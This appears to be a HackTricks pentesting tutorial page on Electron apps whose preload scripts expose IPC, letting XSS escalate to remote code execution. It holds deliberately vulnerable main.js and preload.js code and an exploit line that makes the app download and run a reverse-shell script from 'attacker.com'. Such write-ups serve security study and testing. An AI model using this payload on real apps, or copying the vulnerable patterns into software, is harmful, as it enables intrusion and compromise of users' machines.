hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

# Electron contextIsolation RCE via IPC

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If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.

**Most of these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Check the video for further information.

## Example 0

Example from [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (you have the full example of how MS Teams was abusing from XSS to RCE in those slides, this is just a very basic example):

<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>

## Example 1

Check how the `main.js` listens on `getUpdate` and will **download and execute any URL** passed.\
Check also how `preload.js` **exposes any IPC** event from main.

```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
	console.log('getUpdate: ' + url)
	mainWindow.webContents.downloadURL(url)
	mainWindow.download_url = url
});
  
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
	console.log('downloads path=' + app.getPath('downloads'))
	console.log('mainWindow.download_url=' + mainWindow.download_url);
	url_parts = mainWindow.download_url.split('/')
	filename = url_parts[url_parts.length-1]
	mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
	console.log('downloadPath=' + mainWindow.downloadPath)
	// Set the save path, making Electron not to prompt a save dialog.
	item.setSavePath(mainWindow.downloadPath)

	item.on('updated', (event, state) => {
		if (state === 'interrupted') {
			console.log('Download is interrupted but can be resumed')
		}
		else if (state === 'progressing') {
			if (item.isPaused()) console.log('Download is paused')
			else console.log(`Received bytes: ${item.getReceivedBytes()}`)
		}
	})

	item.once('done', (event, state) => {
		if (state === 'completed') {
			console.log('Download successful, running update')
			fs.chmodSync(mainWindow.downloadPath, 0755);
			var child = require('child_process').execFile;
			child(mainWindow.downloadPath, function(err, data) {
				if (err) { console.error(err); return; }
				console.log(data.toString());
			});
      			}
		else console.log(`Download failed: ${state}`)
	})
}) 
```

```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};
```

Exploit:

```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```

## Example 2

If the preload script exposes directly to the renderer a way to call `shell.openExternal` its possible to obtains RCE

```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
	shell.openExternal(url);
};
```

## Example 3

Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC.

```javascript
window.electronListen = (event, cb) => {
	ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};
```

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>